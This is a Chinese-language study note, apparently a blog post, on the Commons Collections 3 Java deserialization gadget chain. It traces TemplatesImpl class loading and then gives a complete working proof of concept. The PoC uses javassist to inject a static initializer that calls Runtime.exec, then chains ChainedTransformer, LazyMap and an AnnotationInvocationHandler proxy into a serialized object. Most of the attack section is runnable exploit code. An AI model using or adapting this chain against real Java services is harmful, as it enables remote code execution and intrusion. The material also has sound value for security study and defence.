预备知识(类加载)

类的动态加载


思路

ClassLoader入手,会调用loadClass->findClass-defineClass
目的:要找到public的调用defineClass(),于是找到下面这个defineClass()
defineClass()
继续往上找,找到这个调用
TemplatesImpl.TransletClassLoader
是一个default
TemplatesImpl.TransletClassLoader
继续往上找
defineTransletClasses
发现newInstance(),继续往上找public
TemplatesImpl.getTransletInstance()
找到public就可以调用了
TemplatesImpl.newTransformer()

需要赋值的参数

_name需要赋值,否则返回null
TemplatesImpl.getTransletInstance()
_class不赋值,则进入defineTransletClasses(),其中_tfactory需要调用方法,所以需要给_tfactory赋值。
TemplatesImpl.defineTransletClasses()
_tfactorytransient修饰,不可序列化,反序列化的时候是不会被传进去的,所以去readObject()里面找_tfactory
_tfactory
_tfactory

demo(会报错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CC3LearnApplication {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aaa");

Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\WebSecurity\\JavaSecurity\\ClassLoader\\target\\classes\\org\\assass1n\\classloader\\Person.class"));
byte[][] codes = {code};
_bytecodes.set(templates,codes);


Field _tfactory = c.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser3.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}

报错
调试看一下,因为是definetransletClasses()报错,所以就在这个方法下断点即可
发现报错的原因是_auxclasses空指针,有两种解决办法
【1】使上面的 if 成立
【2】给_auxclasses赋值
很明显看到如果上述 if 不成立,_transletIndex默认值为-1,在下面的 if 判断中还是会报错异常
所以【2】解决不了,后面还是会报错,需要使第一个 if 成立才可以避免报错
TemplatesImpl.defineTransletClasses
即满足superClass.getName().equals(ABSTRACT_TRANSLET)即可
ABSTRACT_TRANSLET
导入上述包


POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package org.assass1n.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3LearnApplication {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

//创建类
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections33333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

//name属性
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aaa");

//byte属性
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
// byte[] code = Files.readAllBytes(Paths.get("E:\\WebSecurity\\JavaSecurity\\ClassLoader\\target\\classes\\org\\assass1n\\classloader\\Person.class"));
byte[][] codes = {bytes};
_bytecodes.set(templates,codes);

//_tfactory属性
Field _tfactory = c.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();

// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
//入口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) annotationInvocationhandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
Object o = annotationInvocationhandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser3.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser3.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}